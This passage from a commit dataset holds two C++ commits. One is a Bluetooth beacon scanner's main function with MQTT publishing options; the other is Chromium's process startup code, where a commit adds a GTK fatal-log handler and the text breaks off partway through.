cmd);\n    TCLAP::SwitchArg skipPublish(\"S\", \"skipPublish\",\n            \"Indicate that the parsed beacons should not be published\",\n            false);\n    TCLAP::SwitchArg asyncMode(\"A\", \"asyncMode\",\n            \"Indicate that the parsed beacons should be published using async delivery mode\",\n            false);\n    TCLAP::ValueArg<std::string> hciDev(\"D\", \"hciDev\",\n            \"Specify the name of the host controller interface to use; default hci0\",\n            false, \"hci0\", \"string\", cmd);\n    try {\n        \/\/ Add the flag arguments\n        cmd.add(skipPublish);\n        cmd.add(asyncMode);\n        \/\/ Parse the argv array.\n        printf(\"Parsing command line...\\n\");\n        cmd.parse( argc, argv );\n        printf(\"done\\n\");\n    }\n    catch (TCLAP::ArgException &e) {\n        fprintf(stderr, \"error: %s for arg: %s\\n\", e.error().c_str(), e.argId().c_str());\n    }\n\n    \/\/ Remove any stop marker file\n    if(remove(STOP_MARKER_FILE) == 0) {\n        printf(\"Removed existing %s marker file\\n\", STOP_MARKER_FILE);\n    }\n\n    HCIDumpCommand command(scannerID.getValue(), brokerURL.getValue(), clientID.getValue(), topicName.getValue());\n    command.setSkipPublish(skipPublish.getValue());\n    command.setHciDev(hciDev.getValue());\n    command.setAsyncMode(asyncMode.getValue());\n    printf(\"Begin scanning...\\n\");\n    parserLogic.processHCI(command);\n    parserLogic.cleanup();\n    printf(\"End scanning\\n\");\n    return 0;\n}\n<commit_msg>Remove the spurious osx include<commit_after>#include <cstdio>\n#include <string>\n#include <regex>\n#include <fstream>\n#include <sys\/stat.h>\n\/\/ http:\/\/tclap.sourceforge.net\/manual.html\n#include \"tclap\/CmdLine.h\"\n#include \"HCIDumpParser.h\"\n\nstatic HCIDumpParser parserLogic;\n\n#define STOP_MARKER_FILE \"STOP\"\n\ninline bool stopMarkerExists() {\n    struct stat buffer;\n    bool stop = (stat (STOP_MARKER_FILE, &buffer) == 0);\n    if(stop) {\n        printf(\"Found STOP marker file, will exit...\\n\");\n    }\n    return stop;\n}\nstatic long eventCount = 0;\nstatic long lastMarkerCheckTime = 0;\n\nextern \"C\" bool beacon_event_callback(const beacon_info *info) {\n    \/\/printf(\"beacon_event_callback(%s, code=%d)\\n\", info->uuid, info->code);\n    parserLogic.beaconEvent(info);\n    eventCount ++;\n    \/\/ Check for a termination marker every 1000 events or 5 seconds\n    bool stop = false;\n    long elapsed = info->time - lastMarkerCheckTime;\n    if((eventCount % 1000) == 0 || elapsed > 5000) {\n        lastMarkerCheckTime = info->time;\n        stop = stopMarkerExists();\n    }\n    return stop;\n}\n\nusing namespace std;\n\n\/**\n* A version of the native scanner that directly integrates with the bluez stack hcidump command rather than parsing\n* the hcidump output.\n*\/\nint main(int argc, const char **argv) {\n\n    printf(\"NativeScanner starting up...\\n\");\n    TCLAP::CmdLine cmd(\"NativeScanner command line options\", ' ', \"0.1\");\n    \/\/\n    TCLAP::ValueArg<std::string> scannerID(\"s\", \"scannerID\",\n            \"Specify the ID of the scanner generating the beacon events\",\n            true, \"DEFAULT\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> rawDumpFile(\"d\", \"rawDumpFile\",\n            \"Specify a path to an hcidump file to parse for testing\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> clientID(\"c\", \"clientID\",\n            \"Specify the clientID to connect to the MQTT broker with\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> username(\"u\", \"username\",\n            \"Specify the username to connect to the MQTT broker with\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> password(\"p\", \"password\",\n            \"Specify the password to connect to the MQTT broker with\",\n            false, \"\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> brokerURL(\"b\", \"brokerURL\",\n            \"Specify the brokerURL to connect to the MQTT broker with; default tcp:\/\/localhost:1883\",\n            false, \"tcp:\/\/localhost:1883\", \"string\", cmd);\n    TCLAP::ValueArg<std::string> topicName(\"t\", \"topicName\",\n            \"Specify the name of the queue on the MQTT broker to publish to; default beaconEvents\",\n            false, \"beaconEvents\", \"string\", cmd);\n    TCLAP::SwitchArg skipPublish(\"S\", \"skipPublish\",\n            \"Indicate that the parsed beacons should not be published\",\n            false);\n    TCLAP::SwitchArg asyncMode(\"A\", \"asyncMode\",\n            \"Indicate that the parsed beacons should be published using async delivery mode\",\n            false);\n    TCLAP::ValueArg<std::string> hciDev(\"D\", \"hciDev\",\n            \"Specify the name of the host controller interface to use; default hci0\",\n            false, \"hci0\", \"string\", cmd);\n    try {\n        \/\/ Add the flag arguments\n        cmd.add(skipPublish);\n        cmd.add(asyncMode);\n        \/\/ Parse the argv array.\n        printf(\"Parsing command line...\\n\");\n        cmd.parse( argc, argv );\n        printf(\"done\\n\");\n    }\n    catch (TCLAP::ArgException &e) {\n        fprintf(stderr, \"error: %s for arg: %s\\n\", e.error().c_str(), e.argId().c_str());\n    }\n\n    \/\/ Remove any stop marker file\n    if(remove(STOP_MARKER_FILE) == 0) {\n        printf(\"Removed existing %s marker file\\n\", STOP_MARKER_FILE);\n    }\n\n    HCIDumpCommand command(scannerID.getValue(), brokerURL.getValue(), clientID.getValue(), topicName.getValue());\n    command.setSkipPublish(skipPublish.getValue());\n    command.setHciDev(hciDev.getValue());\n    command.setAsyncMode(asyncMode.getValue());\n    printf(\"Begin scanning...\\n\");\n    parserLogic.processHCI(command);\n    parserLogic.cleanup();\n    printf(\"End scanning\\n\");\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ TODO(port): the ifdefs in here are a first step towards trying to determine\n\/\/ the correct abstraction for all the OS functionality required at this\n\/\/ stage of process initialization. It should not be taken as a final\n\/\/ abstraction.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_WIN)\n#include <algorithm>\n#include <atlbase.h>\n#include <atlapp.h>\n#include <malloc.h>\n#include <new.h>\n#endif\n\n#if defined(OS_LINUX)\n#include <gtk\/gtk.h>\n#endif\n\n#include \"base\/at_exit.h\"\n#include \"base\/command_line.h\"\n#include \"base\/debug_util.h\"\n#include \"base\/icu_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/process_util.h\"\n#include \"base\/scoped_nsautorelease_pool.h\"\n#include \"base\/stats_table.h\"\n#include \"base\/string_util.h\"\n#if defined(OS_WIN)\n#include \"base\/win_util.h\"\n#endif\n#include \"chrome\/app\/scoped_ole_initializer.h\"\n#include \"chrome\/browser\/renderer_host\/render_process_host.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_counters.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/logging_chrome.h\"\n#include \"chrome\/common\/main_function_params.h\"\n#include \"chrome\/common\/resource_bundle.h\"\n#include \"chrome\/common\/sandbox_init_wrapper.h\"\n#if defined(OS_WIN)\n#include \"sandbox\/src\/sandbox.h\"\n#include \"tools\/memory_watcher\/memory_watcher.h\"\n#endif\n#if defined(OS_MACOSX)\n#include \"third_party\/WebKit\/WebKit\/mac\/WebCoreSupport\/WebSystemInterface.h\"\n#endif\n\nextern int BrowserMain(const MainFunctionParams&);\nextern int RendererMain(const MainFunctionParams&);\nextern int PluginMain(const MainFunctionParams&);\nextern int WorkerMain(const MainFunctionParams&);\n\n#if defined(OS_WIN)\n\/\/ TODO(erikkay): isn't this already defined somewhere?\n#define DLLEXPORT __declspec(dllexport)\n\n\/\/ We use extern C for the prototype DLLEXPORT to avoid C++ name mangling.\nextern \"C\" {\nDLLEXPORT int __cdecl ChromeMain(HINSTANCE instance,\n                                 sandbox::SandboxInterfaceInfo* sandbox_info,\n                                 TCHAR* command_line);\n}\n#elif defined(OS_POSIX)\nextern \"C\" {\nint ChromeMain(int argc, const char** argv);\n}\n#endif\n\nnamespace {\n\n#if defined(OS_WIN)\nconst wchar_t kProfilingDll[] = L\"memory_watcher.dll\";\n\n\/\/ Load the memory profiling DLL.  All it needs to be activated\n\/\/ is to be loaded.  Return true on success, false otherwise.\nbool LoadMemoryProfiler() {\n  HMODULE prof_module = LoadLibrary(kProfilingDll);\n  return prof_module != NULL;\n}\n\nCAppModule _Module;\n\n#pragma optimize(\"\", off)\n\/\/ Handlers for invalid parameter and pure call. They generate a breakpoint to\n\/\/ tell breakpad that it needs to dump the process.\nvoid InvalidParameter(const wchar_t* expression, const wchar_t* function,\n                      const wchar_t* file, unsigned int line,\n                      uintptr_t reserved) {\n  __debugbreak();\n}\n\nvoid PureCall() {\n  __debugbreak();\n}\n\nint OnNoMemory(size_t memory_size) {\n  __debugbreak();\n  \/\/ Return memory_size so it is not optimized out. Make sure the return value\n  \/\/ is at least 1 so malloc\/new is retried, especially useful when under a\n  \/\/ debugger.\n  return memory_size ? static_cast<int>(memory_size) : 1;\n}\n\n\/\/ Handlers to silently dump the current process when there is an assert in\n\/\/ chrome.\nvoid ChromeAssert(const std::string& str) {\n  \/\/ Get the breakpad pointer from chrome.exe\n  typedef void (__stdcall *DumpProcessFunction)();\n  DumpProcessFunction DumpProcess = reinterpret_cast<DumpProcessFunction>(\n      ::GetProcAddress(::GetModuleHandle(L\"chrome.exe\"), \"DumpProcess\"));\n  if (DumpProcess)\n    DumpProcess();\n}\n\n#pragma optimize(\"\", on)\n\n\/\/ Early versions of Chrome incorrectly registered a chromehtml: URL handler.\n\/\/ Later versions fixed the registration but in some cases (e.g. Vista and non-\n\/\/ admin installs) the fix could not be applied.  This prevents Chrome to be\n\/\/ launched with the incorrect format.\n\/\/ CORRECT: <broser.exe> -- \"chromehtml:<url>\"\n\/\/ INVALID: <broser.exe> \"chromehtml:<url>\"\nbool IncorrectChromeHtmlArguments(const std::wstring& command_line) {\n  const wchar_t kChromeHtml[] = L\"-- \\\"chromehtml:\";\n  const wchar_t kOffset = 5;  \/\/ Where chromehtml: starts in above\n  std::wstring command_line_lower = command_line;\n\n  \/\/ We are only searching for ASCII characters so this is OK.\n  StringToLowerASCII(&command_line_lower);\n\n  std::wstring::size_type pos = command_line_lower.find(\n      kChromeHtml + kOffset);\n\n  if (pos == std::wstring::npos)\n    return false;\n\n  \/\/ The browser is being launched with chromehtml: somewhere on the command\n  \/\/ line.  We will not launch unless it's preceded by the -- switch terminator.\n  if (pos >= kOffset) {\n    if (equal(kChromeHtml, kChromeHtml + arraysize(kChromeHtml) - 1,\n        command_line_lower.begin() + pos - kOffset)) {\n      return false;\n    }\n  }\n\n  return true;\n}\n\n#endif  \/\/ OS_WIN\n\n\/\/ Register the invalid param handler and pure call handler to be able to\n\/\/ notify breakpad when it happens.\nvoid RegisterInvalidParamHandler() {\n#if defined(OS_WIN)\n  _set_invalid_parameter_handler(InvalidParameter);\n  _set_purecall_handler(PureCall);\n  \/\/ Gather allocation failure.\n  _set_new_handler(&OnNoMemory);\n  \/\/ Make sure malloc() calls the new handler too.\n  _set_new_mode(1);\n#endif\n}\n\nvoid SetupCRT(const CommandLine& parsed_command_line) {\n#if defined(OS_WIN)\n#ifdef _CRTDBG_MAP_ALLOC\n  _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDERR);\n  _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);\n#else\n  if (!parsed_command_line.HasSwitch(switches::kDisableBreakpad)) {\n    _CrtSetReportMode(_CRT_ASSERT, 0);\n  }\n#endif\n\n  \/\/ Enable the low fragmentation heap for the CRT heap. The heap is not changed\n  \/\/ if the process is run under the debugger is enabled or if certain gflags\n  \/\/ are set.\n  bool use_lfh = false;\n  if (parsed_command_line.HasSwitch(switches::kUseLowFragHeapCrt))\n    use_lfh = parsed_command_line.GetSwitchValue(switches::kUseLowFragHeapCrt)\n        != L\"false\";\n  if (use_lfh) {\n    void* crt_heap = reinterpret_cast<void*>(_get_heap_handle());\n    ULONG enable_lfh = 2;\n    HeapSetInformation(crt_heap, HeapCompatibilityInformation,\n                       &enable_lfh, sizeof(enable_lfh));\n  }\n#endif\n}\n\n\/\/ Enable the heap profiler if the appropriate command-line switch is\n\/\/ present, bailing out of the app we can't.\nvoid EnableHeapProfiler(const CommandLine& parsed_command_line) {\n#if defined(OS_WIN)\n  if (parsed_command_line.HasSwitch(switches::kMemoryProfiling))\n    if (!LoadMemoryProfiler())\n      exit(-1);\n#endif\n}\n\nvoid CommonSubprocessInit() {\n  \/\/ Initialize ResourceBundle which handles files loaded from external\n  \/\/ sources.  The language should have been passed in to us from the\n  \/\/ browser process as a command line flag.\n  ResourceBundle::InitSharedInstance(std::wstring());\n\n#if defined(OS_WIN)\n  \/\/ HACK: Let Windows know that we have started.  This is needed to suppress\n  \/\/ the IDC_APPSTARTING cursor from being displayed for a prolonged period\n  \/\/ while a subprocess is starting.\n  PostThreadMessage(GetCurrentThreadId(), WM_NULL, 0, 0);\n  MSG msg;\n  PeekMessage(&msg, NULL, 0, 0, PM_REMOVE);\n#endif\n}\n\n}  \/\/ namespace\n\n#if defined(OS_WIN)\nDLLEXPORT int __cdecl ChromeMain(HINSTANCE instance,\n                                 sandbox::SandboxInterfaceInfo* sandbox_info,\n                                 TCHAR* command_line) {\n#elif defined(OS_POSIX)\nint ChromeMain(int argc, const char** argv) {\n#endif\n\n#if defined(OS_MACOSX)\n  DebugUtil::DisableOSCrashDumps();\n#endif\n  RegisterInvalidParamHandler();\n\n  \/\/ The exit manager is in charge of calling the dtors of singleton objects.\n  base::AtExitManager exit_manager;\n\n  \/\/ We need this pool for all the objects created before we get to the\n  \/\/ event loop, but we don't want to leave them hanging around until the\n  \/\/ app quits. Each \"main\" needs to flush this pool right before it goes into\n  \/\/ its main event loop to get rid of the cruft.\n  base::ScopedNSAutoreleasePool autorelease_pool;\n\n  \/\/ Initialize the command line.\n#if defined(OS_WIN)\n  CommandLine::Init(0, NULL);\n#else\n  CommandLine::Init(argc, argv);\n#endif\n  const CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n\n#if defined(OS_WIN)\n   \/\/ Must do this before any other usage of command line!\n  if (::IncorrectChromeHtmlArguments(parsed_command_line.command_line_string()))\n    return 1;\n#endif\n\n  int browser_pid;\n  std::wstring process_type =\n    parsed_command_line.GetSwitchValue(switches::kProcessType);\n  if (process_type.empty()) {\n    browser_pid = base::GetCurrentProcId();\n  } else {\n    std::wstring channel_name =\n      parsed_command_line.GetSwitchValue(switches::kProcessChannelID);\n\n    browser_pid = StringToInt(WideToASCII(channel_name));\n    DCHECK(browser_pid != 0);\n  }\n  SetupCRT(parsed_command_line);\n\n  \/\/ Initialize the Chrome path provider.\n  chrome::RegisterPathProvider();\n\n  \/\/ Initialize the Stats Counters table.  With this initialized,\n  \/\/ the StatsViewer can be utilized to read counters outside of\n  \/\/ Chrome.  These lines can be commented out to effectively turn\n  \/\/ counters 'off'.  The table is created and exists for the life\n  \/\/ of the process.  It is not cleaned up.\n  \/\/ TODO(port): we probably need to shut this down correctly to avoid\n  \/\/ leaking shared memory regions on posix platforms.\n  std::string statsfile =\n      StringPrintf(\"%s-%d\", chrome::kStatsFilename, browser_pid);\n  StatsTable *stats_table = new StatsTable(statsfile,\n      chrome::kStatsMaxThreads, chrome::kStatsMaxCounters);\n  StatsTable::set_current(stats_table);\n\n  StatsScope<StatsCounterTimer>\n      startup_timer(chrome::Counters::chrome_main());\n\n  \/\/ Enable the heap profiler as early as possible!\n  EnableHeapProfiler(parsed_command_line);\n\n  \/\/ Enable Message Loop related state asap.\n  if (parsed_command_line.HasSwitch(switches::kMessageLoopHistogrammer))\n    MessageLoop::EnableHistogrammer(true);\n\n  \/\/ Checks if the sandbox is enabled in this process and initializes it if this\n  \/\/ is the case. The crash handler depends on this so it has to be done before\n  \/\/ its initialization.\n  SandboxInitWrapper sandbox_wrapper;\n#if defined(OS_WIN)\n  sandbox_wrapper.SetServices(sandbox_info);\n#endif\n  sandbox_wrapper.InitializeSandbox(parsed_command_line, process_type);\n\n#if defined(OS_WIN)\n  _Module.Init(NULL, instance);\n#endif\n\n  \/\/ Notice a user data directory override if any\n  const std::wstring user_data_dir =\n      parsed_command_line.GetSwitchValue(switches::kUserDataDir);\n  if (!user_data_dir.empty())\n    PathService::Override(chrome::DIR_USER_DATA, user_data_dir);\n\n  bool single_process =\n#if defined (GOOGLE_CHROME_BUILD)\n    \/\/ This is an unsupported and not fully tested mode, so don't enable it for\n    \/\/ official Chrome builds.\n    false;\n#else\n    parsed_command_line.HasSwitch(switches::kSingleProcess);\n#endif\n  if (single_process)\n    RenderProcessHost::set_run_renderer_in_process(true);\n#if defined(OS_MACOSX)\n  \/\/ TODO(port-mac): This is from renderer_main_platform_delegate.cc.\n  \/\/ shess tried to refactor things appropriately, but it sprawled out\n  \/\/ of control because different platforms needed different styles of\n  \/\/ initialization.  Try again once we understand the process\n  \/\/ architecture needed and where it should live.\n  if (single_process)\n    InitWebCoreSystemInterface();\n#endif\n\n  bool icu_result = icu_util::Initialize();\n  CHECK(icu_result);\n\n  logging::OldFileDeletionState file_state =\n      logging::APPEND_TO_OLD_LOG_FILE;\n  if (process_type.empty()) {\n    file_state = logging::DELETE_OLD_LOG_FILE;\n  }\n  logging::InitChromeLogging(parsed_command_line, file_state);\n\n#ifdef NDEBUG\n  if (parsed_command_line.HasSwitch(switches::kSilentDumpOnDCHECK) &&\n      parsed_command_line.HasSwitch(switches::kEnableDCHECK)) {\n#if defined(OS_WIN)\n    logging::SetLogReportHandler(ChromeAssert);\n#endif\n  }\n#endif  \/\/ NDEBUG\n\n  if (!process_type.empty())\n    CommonSubprocessInit();\n\n  startup_timer.Stop();  \/\/ End of Startup Time Measurement.\n\n  MainFunctionParams main_params(parsed_command_line, sandbox_wrapper,\n                                 &autorelease_pool);\n\n  \/\/ TODO(port): turn on these main() functions as they've been de-winified.\n  int rv = -1;\n  if (process_type == switches::kRendererProcess) {\n    rv = RendererMain(main_params);\n  } else if (process_type == switches::kPluginProcess) {\n#if defined(OS_WIN)\n    rv = PluginMain(main_params);\n#endif\n  } else if (process_type == switches::kWorkerProcess) {\n#if defined(OS_WIN)\n    rv = WorkerMain(main_params);\n#endif\n  } else if (process_type.empty()) {\n#if defined(OS_LINUX)\n    \/\/ gtk_init() can change |argc| and |argv|, but nobody else uses them.\n    gtk_init(&argc, const_cast<char***>(&argv));\n#endif\n\n    ScopedOleInitializer ole_initializer;\n    rv = BrowserMain(main_params);\n  } else {\n    NOTREACHED() << \"Unknown process type\";\n  }\n\n  if (!process_type.empty()) {\n    ResourceBundle::CleanupSharedInstance();\n  }\n\n#if defined(OS_WIN)\n#ifdef _CRTDBG_MAP_ALLOC\n  _CrtDumpMemoryLeaks();\n#endif  \/\/ _CRTDBG_MAP_ALLOC\n\n  _Module.Term();\n#endif\n\n  logging::CleanupChromeLogging();\n\n  return rv;\n}\n<commit_msg>Pipe fatal GTK messages through our logging system.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ TODO(port): the ifdefs in here are a first step towards trying to determine\n\/\/ the correct abstraction for all the OS functionality required at this\n\/\/ stage of process initialization. It should not be taken as a final\n\/\/ abstraction.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_WIN)\n#include <algorithm>\n#include <atlbase.h>\n#include <atlapp.h>\n#include <malloc.h>\n#include <new.h>\n#endif\n\n#if defined(OS_LINUX)\n#include <gtk\/gtk.h>\n#endif\n\n#include \"base\/at_exit.h\"\n#include \"base\/command_line.h\"\n#include \"base\/debug_util.h\"\n#include \"base\/icu_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/process_util.h\"\n#include \"base\/scoped_nsautorelease_pool.h\"\n#include \"base\/stats_table.h\"\n#include \"base\/string_util.h\"\n#if defined(OS_WIN)\n#include \"base\/win_util.h\"\n#endif\n#include \"chrome\/app\/scoped_ole_initializer.h\"\n#include \"chrome\/browser\/renderer_host\/render_process_host.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_counters.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/logging_chrome.h\"\n#include \"chrome\/common\/main_function_params.h\"\n#include \"chrome\/common\/resource_bundle.h\"\n#include \"chrome\/common\/sandbox_init_wrapper.h\"\n#if defined(OS_WIN)\n#include \"sandbox\/src\/sandbox.h\"\n#include \"tools\/memory_watcher\/memory_watcher.h\"\n#endif\n#if defined(OS_MACOSX)\n#include \"third_party\/WebKit\/WebKit\/mac\/WebCoreSupport\/WebSystemInterface.h\"\n#endif\n\nextern int BrowserMain(const MainFunctionParams&);\nextern int RendererMain(const MainFunctionParams&);\nextern int PluginMain(const MainFunctionParams&);\nextern int WorkerMain(const MainFunctionParams&);\n\n#if defined(OS_WIN)\n\/\/ TODO(erikkay): isn't this already defined somewhere?\n#define DLLEXPORT __declspec(dllexport)\n\n\/\/ We use extern C for the prototype DLLEXPORT to avoid C++ name mangling.\nextern \"C\" {\nDLLEXPORT int __cdecl ChromeMain(HINSTANCE instance,\n                                 sandbox::SandboxInterfaceInfo* sandbox_info,\n                                 TCHAR* command_line);\n}\n#elif defined(OS_POSIX)\nextern \"C\" {\nint ChromeMain(int argc, const char** argv);\n}\n#endif\n\nnamespace {\n\n#if defined(OS_WIN)\nconst wchar_t kProfilingDll[] = L\"memory_watcher.dll\";\n\n\/\/ Load the memory profiling DLL.  All it needs to be activated\n\/\/ is to be loaded.  Return true on success, false otherwise.\nbool LoadMemoryProfiler() {\n  HMODULE prof_module = LoadLibrary(kProfilingDll);\n  return prof_module != NULL;\n}\n\nCAppModule _Module;\n\n#pragma optimize(\"\", off)\n\/\/ Handlers for invalid parameter and pure call. They generate a breakpoint to\n\/\/ tell breakpad that it needs to dump the process.\nvoid InvalidParameter(const wchar_t* expression, const wchar_t* function,\n                      const wchar_t* file, unsigned int line,\n                      uintptr_t reserved) {\n  __debugbreak();\n}\n\nvoid PureCall() {\n  __debugbreak();\n}\n\nint OnNoMemory(size_t memory_size) {\n  __debugbreak();\n  \/\/ Return memory_size so it is not optimized out. Make sure the return value\n  \/\/ is at least 1 so malloc\/new is retried, especially useful when under a\n  \/\/ debugger.\n  return memory_size ? static_cast<int>(memory_size) : 1;\n}\n\n\/\/ Handlers to silently dump the current process when there is an assert in\n\/\/ chrome.\nvoid ChromeAssert(const std::string& str) {\n  \/\/ Get the breakpad pointer from chrome.exe\n  typedef void (__stdcall *DumpProcessFunction)();\n  DumpProcessFunction DumpProcess = reinterpret_cast<DumpProcessFunction>(\n      ::GetProcAddress(::GetModuleHandle(L\"chrome.exe\"), \"DumpProcess\"));\n  if (DumpProcess)\n    DumpProcess();\n}\n\n#pragma optimize(\"\", on)\n\n\/\/ Early versions of Chrome incorrectly registered a chromehtml: URL handler.\n\/\/ Later versions fixed the registration but in some cases (e.g. Vista and non-\n\/\/ admin installs) the fix could not be applied.  This prevents Chrome to be\n\/\/ launched with the incorrect format.\n\/\/ CORRECT: <broser.exe> -- \"chromehtml:<url>\"\n\/\/ INVALID: <broser.exe> \"chromehtml:<url>\"\nbool IncorrectChromeHtmlArguments(const std::wstring& command_line) {\n  const wchar_t kChromeHtml[] = L\"-- \\\"chromehtml:\";\n  const wchar_t kOffset = 5;  \/\/ Where chromehtml: starts in above\n  std::wstring command_line_lower = command_line;\n\n  \/\/ We are only searching for ASCII characters so this is OK.\n  StringToLowerASCII(&command_line_lower);\n\n  std::wstring::size_type pos = command_line_lower.find(\n      kChromeHtml + kOffset);\n\n  if (pos == std::wstring::npos)\n    return false;\n\n  \/\/ The browser is being launched with chromehtml: somewhere on the command\n  \/\/ line.  We will not launch unless it's preceded by the -- switch terminator.\n  if (pos >= kOffset) {\n    if (equal(kChromeHtml, kChromeHtml + arraysize(kChromeHtml) - 1,\n        command_line_lower.begin() + pos - kOffset)) {\n      return false;\n    }\n  }\n\n  return true;\n}\n\n#endif  \/\/ OS_WIN\n\n#if defined(OS_LINUX)\nstatic void GtkFatalLogHandler(const gchar* log_domain,\n                               GLogLevelFlags log_level,\n                               const gchar* message,\n                               gpointer userdata) {\n  if (!log_domain)\n    log_domain = \"<all>\";\n  if (!message)\n    message = \"<no message>\";\n\n  NOTREACHED() << \"GTK: (\" << log_domain << \"): \" << message;\n}\n#endif\n\n\/\/ Register the invalid param handler and pure call handler to be able to\n\/\/ notify breakpad when it happens.\nvoid RegisterInvalidParamHandler() {\n#if defined(OS_WIN)\n  _set_invalid_parameter_handler(InvalidParameter);\n  _set_purecall_handler(PureCall);\n  \/\/ Gather allocation failure.\n  _set_new_handler(&OnNoMemory);\n  \/\/ Make sure malloc() calls the new handler too.\n  _set_new_mode(1);\n#endif\n}\n\nvoid SetupCRT(const CommandLine& parsed_command_line) {\n#if defined(OS_WIN)\n#ifdef _CRTDBG_MAP_ALLOC\n  _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDERR);\n  _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);\n#else\n  if (!parsed_command_line.HasSwitch(switches::kDisableBreakpad)) {\n    _CrtSetReportMode(_CRT_ASSERT, 0);\n  }\n#endif\n\n  \/\/ Enable the low fragmentation heap for the CRT heap. The heap is not changed\n  \/\/ if the process is run under the debugger is enabled or if certain gflags\n  \/\/ are set.\n  bool use_lfh = false;\n  if (parsed_command_line.HasSwitch(switches::kUseLowFragHeapCrt))\n    use_lfh = parsed_command_line.GetSwitchValue(switches::kUseLowFragHeapCrt)\n        != L\"false\";\n  if (use_lfh) {\n    void* crt_heap = reinterpret_cast<void*>(_get_heap_handle());\n    ULONG enable_lfh = 2;\n    HeapSetInformation(crt_heap, HeapCompatibilityInformation,\n                       &enable_lfh, sizeof(enable_lfh));\n  }\n#endif\n}\n\n\/\/ Enable the heap profiler if the appropriate command-line switch is\n\/\/ present, bailing out of the app we can't.\nvoid EnableHeapProfiler(const CommandLine& parsed_command_line) {\n#if defined(OS_WIN)\n  if (parsed_command_line.HasSwitch(switches::kMemoryProfiling))\n    if (!LoadMemoryProfiler())\n      exit(-1);\n#endif\n}\n\nvoid CommonSubprocessInit() {\n  \/\/ Initialize ResourceBundle which handles files loaded from external\n  \/\/ sources.  The language should have been passed in to us from the\n  \/\/ browser process as a command line flag.\n  ResourceBundle::InitSharedInstance(std::wstring());\n\n#if defined(OS_WIN)\n  \/\/ HACK: Let Windows know that we have started.  This is needed to suppress\n  \/\/ the IDC_APPSTARTING cursor from being displayed for a prolonged period\n  \/\/ while a subprocess is starting.\n  PostThreadMessage(GetCurrentThreadId(), WM_NULL, 0, 0);\n  MSG msg;\n  PeekMessage(&msg, NULL, 0, 0, PM_REMOVE);\n#endif\n}\n\n}  \/\/ namespace\n\n#if defined(OS_WIN)\nDLLEXPORT int __cdecl ChromeMain(HINSTANCE instance,\n                                 sandbox::SandboxInterfaceInfo* sandbox_info,\n                                 TCHAR* command_line) {\n#elif defined(OS_POSIX)\nint ChromeMain(int argc, const char** argv) {\n#endif\n\n#if defined(OS_MACOSX)\n  DebugUtil::DisableOSCrashDumps();\n#endif\n  RegisterInvalidParamHandler();\n\n  \/\/ The exit manager is in charge of calling the dtors of singleton objects.\n  base::AtExitManager exit_manager;\n\n  \/\/ We need this pool for all the objects created before we get to the\n  \/\/ event loop, but we don't want to leave them hanging around until the\n  \/\/ app quits. Each \"main\" needs to flush this pool right before it goes into\n  \/\/ its main event loop to get rid of the cruft.\n  base::ScopedNSAutoreleasePool autorelease_pool;\n\n  \/\/ Initialize the command line.\n#if defined(OS_WIN)\n  CommandLine::Init(0, NULL);\n#else\n  CommandLine::Init(argc, argv);\n#endif\n  const CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n\n#if defined(OS_WIN)\n   \/\/ Must do this before any other usage of command line!\n  if (::IncorrectChromeHtmlArguments(parsed_command_line.command_line_string()))\n    return 1;\n#endif\n\n  int browser_pid;\n  std::wstring process_type =\n    parsed_command_line.GetSwitchValue(switches::kProcessType);\n  if (process_type.empty()) {\n    browser_pid = base::GetCurrentProcId();\n  } else {\n    std::wstring channel_name =\n      parsed_command_line.GetSwitchValue(switches::kProcessChannelID);\n\n    browser_pid = StringToInt(WideToASCII(channel_name));\n    DCHECK(browser_pid != 0);\n  }\n  SetupCRT(parsed_command_line);\n\n  \/\/ Initialize the Chrome path provider.\n  chrome::RegisterPathProvider();\n\n  \/\/ Initialize the Stats Counters table.  With this initialized,\n  \/\/ the StatsViewer can be utilized to read counters outside of\n  \/\/ Chrome.  These lines can be commented out to effectively turn\n  \/\/ counters 'off'.  The table is created and exists for the life\n  \/\/ of the process.  It is not cleaned up.\n  \/\/ TODO(port): we probably need to shut this down correctly to avoid\n  \/\/ leaking shared memory regions on posix platforms.\n  std::string statsfile =\n      StringPrintf(\"%s-%d\", chrome::kStatsFilename, browser_pid);\n  StatsTable *stats_table = new StatsTable(statsfile,\n      chrome::kStatsMaxThreads, chrome::kStatsMaxCounters);\n  StatsTable::set_current(stats_table);\n\n  StatsScope<StatsCounterTimer>\n      startup_timer(chrome::Counters::chrome_main());\n\n  \/\/ Enable the heap profiler as early as possible!\n  EnableHeapProfiler(parsed_command_line);\n\n  \/\/ Enable Message Loop related state asap.\n  if (parsed_command_line.HasSwitch(switches::kMessageLoopHistogrammer))\n    MessageLoop::EnableHistogrammer(true);\n\n  \/\/ Checks if the sandbox is enabled in this process and initializes it if this\n  \/\/ is the case. The crash handler depends on this so it has to be done before\n  \/\/ its initialization.\n  SandboxInitWrapper sandbox_wrapper;\n#if defined(OS_WIN)\n  